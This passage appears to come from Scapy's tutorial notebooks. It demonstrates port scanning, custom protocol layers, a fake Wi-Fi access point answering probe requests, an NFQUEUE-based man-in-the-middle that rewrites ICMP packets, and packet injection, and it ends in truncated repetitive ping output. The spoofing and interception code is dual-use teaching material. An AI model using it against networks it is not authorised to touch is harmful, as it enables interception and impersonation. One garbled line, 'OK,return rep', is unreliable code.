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\n", "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/plain": [ "[[]]" ] }, "execution_count": 23, "metadata": {}, "output_type": "execute_result" } ], "source": [ "ans.world_trace()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The `PacketList.make_table()` function can be very helpful. Here is a simple \"port scanner\":" ] }, { "cell_type": "code", "execution_count": 29, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ " 45.33.32.156 45.33.49.119 \n", "tcp/22 SA SA \n", "tcp/31337 SA RA \n", "tcp/443 RA SA \n", "tcp/80 SA SA \n", "udp/53 dest-unreach - \n" ] } ], "source": [ "ans = sr(IP(dst=[\"scanme.nmap.org\", \"nmap.org\"])/TCP(dport=[22, 80, 443, 31337]), timeout=3, verbose=False)[0]\n", "ans.extend(sr(IP(dst=[\"scanme.nmap.org\", \"nmap.org\"])/UDP(dport=53)/DNS(qd=DNSQR()), timeout=3, verbose=False)[0])\n", "ans.make_table(lambda x, y: (x[IP].dst, x.sprintf('%IP.proto%/{TCP:%r,TCP.dport%}{UDP:%r,UDP.dport%}'), y.sprintf('{TCP:%TCP.flags%}{ICMP:%ICMP.type%}')))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Implementing a new protocol" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Scapy can be easily extended to support new protocols.\n", "\n", "The following example defines DNS over TCP. The `DNSTCP` class inherits from `Packet` and defines two field: the length, and the real DNS message. The `length_of` and `length_from` arguments link the `len` and `dns` fields together. Scapy will be able to automatically compute the `len` value." ] }, { "cell_type": "code", "execution_count": 119, "metadata": {}, "outputs": [], "source": [ "class DNSTCP(Packet):\n", " name = \"DNS over TCP\"\n", " \n", " fields_desc = [ FieldLenField(\"len\", None, fmt=\"!H\", length_of=\"dns\"),\n", " PacketLenField(\"dns\", 0, DNS, length_from=lambda p: p.len)]\n", " \n", " # This method tells Scapy that the next packet must be decoded with DNSTCP\n", " def guess_payload_class(self, payload):\n", " return DNSTCP" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "This new packet definition can be direcly used to build a DNS message over TCP." ] }, { "cell_type": "code", "execution_count": 120, "metadata": {}, "outputs": [ { "data": { "text/plain": [ " |>" ] }, "execution_count": 120, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# Build then decode a DNS message over TCP\n", "DNSTCP(raw(DNSTCP(dns=DNS())))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Modifying the previous `StreamSocket` example to use TCP allows to use the new `DNSCTP` layer easily." ] }, { "cell_type": "code", "execution_count": 122, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "\n", "Received 1 packets, got 1 answers, remaining 0 packets\n", "Begin emission:\n", "Finished to send 1 packets.\n" ] }, { "data": { "text/plain": [ " an= ns=None ar=None |> |>" ] }, "execution_count": 122, "metadata": {}, "output_type": "execute_result" } ], "source": [ "import socket\n", "\n", "sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # create an TCP socket\n", "sck.connect((\"8.8.8.8\", 53)) # connect to 8.8.8.8 on 53/TCP\n", "\n", "# Create the StreamSocket and gives the class used to decode the answer\n", "ssck = StreamSocket(sck)\n", "ssck.basecls = DNSTCP\n", "\n", "# Send the DNS query\n", "ssck.sr1(DNSTCP(dns=DNS(rd=1, qd=DNSQR(qname=\"www.example.com\"))))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Scapy as a module" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "So far, Scapy was only used from the command line. It is also a Python module than can be used to build specific network tools, such as ping6.py:" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ " from scapy.all import *\n", " import argparse\n", "\n", " parser = argparse.ArgumentParser(description=\"A simple ping6\")\n", " parser.add_argument(\"ipv6_address\", help=\"An IPv6 address\")\n", " args = parser.parse_args()\n", "\n", " print(sr1(IPv6(dst=args.ipv6_address)/ICMPv6EchoRequest(), verbose=0).summary())" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Answering machines" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "A lot of attack scenarios look the same: you want to wait for a specific packet, then send an answer to trigger the attack.\n", "\n", "To this extent, Scapy provides the `AnsweringMachine` object. Two methods are especially useful:\n", "1. `is_request()`: return True if the `pkt` is the expected request\n", "2. `make_reply()`: return the packet that must be sent\n", "\n", "The following example uses Scapy Wi-Fi capabilities to pretend that a \"Scapy !\" access point exists.\n", "\n", "Note: your Wi-Fi interface must be set to monitor mode !" ] }, { "cell_type": "code", "execution_count": 129, "metadata": {}, "outputs": [], "source": [ "# Specify the Wi-Fi monitor interface\n", "#conf.iface = \"mon0\" # uncomment to test\n", "\n", "# Create an answering machine\n", "class ProbeRequest_am(AnsweringMachine):\n", " function_name = \"pram\"\n", "\n", " # The fake mac of the fake access point\n", " mac = \"00:11:22:33:44:55\"\n", "\n", " def is_request(self, pkt):\n", " return Dot11ProbeReq in pkt\n", "\n", " def make_reply(self, req):\n", "\n", " rep = RadioTap()\n", " # Note: depending on your Wi-Fi card, you might need a different header than RadioTap()\n", " rep /= Dot11(addr1=req.addr2, addr2=self.mac, addr3=self.mac, ID=RandShort(), SC=RandShort())\n", " rep /= Dot11ProbeResp(cap=\"ESS\", timestamp=time.time())\n", " rep /= Dot11Elt(ID=\"SSID\",info=\"Scapy !\")\n", " rep /= Dot11Elt(ID=\"Rates\",info=b'\\x82\\x84\\x0b\\x16\\x96')\n", " rep /= Dot11Elt(ID=\"DSset\",info=chr(10))\n", "\n", " OK,return rep\n", "\n", "# Start the answering machine\n", "#ProbeRequest_am()() # uncomment to test" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Cheap Man-in-the-middle with NFQUEUE" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "NFQUEUE is an iptables target than can be used to transfer packets to userland process. As a nfqueue module is available in Python, you can take advantage of this Linux feature to perform Scapy based MiTM.\n", "\n", "This example intercepts ICMP Echo request messages sent to 8.8.8.8, sent with the ping command, and modify their sequence numbers. In order to pass packets to Scapy, the following `iptable` command put packets into the NFQUEUE #2807:\n", "\n", "$ sudo iptables -I OUTPUT --destination 8.8.8.8 -p icmp -o eth0 -j NFQUEUE --queue-num 2807" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ " from scapy.all import *\n", " import nfqueue, socket\n", "\n", " def scapy_cb(i, payload):\n", " s = payload.get_data() # get and parse the packet\n", " p = IP(s)\n", "\n", " # Check if the packet is an ICMP Echo Request to 8.8.8.8\n", " if p.dst == \"8.8.8.8\" and ICMP in p:\n", " # Delete checksums to force Scapy to compute them\n", " del(p[IP].chksum, p[ICMP].chksum)\n", " \n", " # Set the ICMP sequence number to 0\n", " p[ICMP].seq = 0\n", " \n", " # Let the modified packet go through\n", " ret = payload.set_verdict_modified(nfqueue.NF_ACCEPT, raw(p), len(p))\n", " \n", " else:\n", " # Accept all packets\n", " payload.set_verdict(nfqueue.NF_ACCEPT)\n", "\n", " # Get an NFQUEUE handler\n", " q = nfqueue.queue()\n", " # Set the function that will be call on each received packet\n", " q.set_callback(scapy_cb)\n", " # Open the queue & start parsing packes\n", " q.fast_open(2807, socket.AF_INET)\n", " q.try_run()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Automaton" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "When more logic is needed, Scapy provides a clever way abstraction to define an automaton. In a nutshell, you need to define an object that inherits from `Automaton`, and implement specific methods:\n", "- states: using the `@ATMT.state` decorator. They usually do nothing\n", "- conditions: using the `@ATMT.condition` and `@ATMT.receive_condition` decorators. They describe how to go from one state to another\n", "- actions: using the `ATMT.action` decorator. They describe what to do, like sending a back, when changing state" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The following example does nothing more than trying to mimic a TCP scanner:" ] }, { "cell_type": "code", "execution_count": 6, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "-> SYN\n", "<- SYN/ACK\n" ] } ], "source": [ "class TCPScanner(Automaton):\n", "\n", " @ATMT.state(initial=1)\n", " def BEGIN(self):\n", " pass\n", "\n", " @ATMT.state()\n", " def SYN(self):\n", " print(\"-> SYN\")\n", "\n", " @ATMT.state()\n", " def SYN_ACK(self):\n", " print(\"<- SYN/ACK\")\n", " raise self.END()\n", "\n", " @ATMT.state()\n", " def RST(self):\n", " print(\"<- RST\")\n", " raise self.END()\n", "\n", " @ATMT.state()\n", " def ERROR(self):\n", " print(\"!! ERROR\")\n", " raise self.END()\n", " @ATMT.state(final=1)\n", " def END(self):\n", " pass\n", " \n", " @ATMT.condition(BEGIN)\n", " def condition_BEGIN(self):\n", " raise self.SYN()\n", "\n", " @ATMT.condition(SYN)\n", " def condition_SYN(self):\n", "\n", " if random.randint(0, 1):\n", " raise self.SYN_ACK()\n", " else:\n", " raise self.RST()\n", "\n", " @ATMT.timeout(SYN, 1)\n", " def timeout_SYN(self):\n", " raise self.ERROR()\n", "\n", "TCPScanner().run()" ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "-> SYN\n", "<- RST\n" ] } ], "source": [ "TCPScanner().run()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Pipes" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Pipes are an advanced Scapy feature that aims sniffing, modifying and printing packets. The API provides several buildings blocks. All of them, have high entries and exits (>>) as well as low (>) ones.\n", "\n", "For example, the `CliFeeder` is used to send message from the Python command line to a low exit. It can be combined to the `InjectSink` that reads message on its low entry and inject them to the specified network interface. These blocks can be combined as follows:" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "# Instantiate the blocks\n", "clf = CLIFeeder()\n", "ijs = InjectSink(\"enx3495db043a28\")\n", "\n", "# Plug blocks together\n", "clf > ijs\n", "\n", "# Create and start the engine\n", "pe = PipeEngine(clf)\n", "pe.start()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Packet can be sent using the following command on the prompt:" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "clf.send(\"Hello Scapy !\")" ] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.12" } }, "nbformat": 4, "nbformat_minor": 1 } scapy-2.4.4/doc/notebooks/graphs-ipids.ipynb000066400000000000000000001624641372370053500210670ustar00rootroot00000000000000{ "metadata": { "name": "" }, "nbformat": 3, "nbformat_minor": 0, "worksheets": [ { "cells": [ { "cell_type": "code", "collapsed": false, "input": [ "from scapy.all import *" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stderr", "text": [ "WARNING: No route found for IPv6 destination :: (no default route?)\n" ] }, { "output_type": "stream", "stream": "stderr", "text": [ "WARNING:scapy.runtime:No route found for IPv6 destination :: (no default route?)\n" ] } ], "prompt_number": 1 }, { "cell_type": "code", "collapsed": false, "input": [ "ans, unans = srloop(IP(dst=[\"8.8.8.8\", \"8.8.4.4\"])/ICMP(), inter=.1, timeout=.1, count=100, verbose=False)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", 